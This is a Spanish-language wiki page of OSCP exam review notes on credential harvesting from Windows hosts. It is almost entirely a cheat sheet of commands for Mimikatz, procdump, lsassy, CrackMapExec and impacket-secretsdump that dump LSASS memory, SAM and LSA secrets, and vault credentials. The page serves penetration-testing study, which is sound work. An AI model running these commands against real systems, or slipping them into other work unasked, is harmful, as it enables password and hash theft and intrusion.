> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/certificaciones/repaso-oscp/3.-obtencion-de-credenciales.md).

# 3. Obtención de credenciales

### 3.1. Herramientas

Mimikatz

```powershell
mimikatz.exe
Invoke-Mimikatz.ps1
SharpKatz.exe
pypykatz.exe
```

### 3.2. Credenciales en memoria (LSASS)

MimiKatz

```powershell
Invoke-Mimikatz -Command '"sekurlsa::ekeys"' 
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' 
```

CrackMapExec

```powershell
crackmapexec smb <IP> -u <USER> -p <PASS> --lsa
```

procdump

```powershell
1- Get-Process -Name LSASS
2- .\\procdump.exe -ma <ProcNum> lsass.dmp
```

lsassy

```powershell
lsassy -u <USER> -H <NTLM> -d <domain.full> <IP> --users
```

### 3.3. Credenciales locales (SAM)

SecretDump

```powershell
1- reg save HKLM\\sam sam
2- reg save HKLM\\system system
3- reg save HKLM\\security security
4- impacket-secretsdump -sam sam -security security -system system LOCAL
```

MimiKatz

```powershell
 Invoke-Mimikatz -Command '"lsadump::sam"' 
```

CrackMapExec

```powershell
crackmapexec smb <IP> -u <USER> -p <PASS> --sam
```

### 3.4. Tareas programadas

MimiKatz

```powershell
 Invoke-Mimikatz -Command '"vault::cred /patch"' 
```